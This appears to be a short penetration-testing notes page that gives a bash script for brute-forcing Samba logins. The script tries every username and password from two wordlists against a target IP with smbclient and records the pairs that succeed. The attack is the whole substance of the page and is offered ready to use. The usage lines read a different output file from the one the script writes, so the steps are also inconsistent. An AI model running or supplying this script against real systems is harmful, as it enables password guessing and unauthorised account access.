Discovery – Linux

Password / Username Checks

 

Check samba usernames against password list

--Script--


#!/bin/bash

# File to store successful results

output_file="successful_results.txt"

while read username; do

  while read password; do

    if smbclient -L <TARGET IP ADDRESS> -U "$username%$password" -g -d 0 >/dev/null 2>&1; then

      echo "$username:$password" >> "$output_file"

    fi

  done < PASSWORDS.txt

done < USERNAMES.txt

--tpircS--


./passwordcheck.sh
cat password_results.txt

A screenshot of a computer

Description automatically generated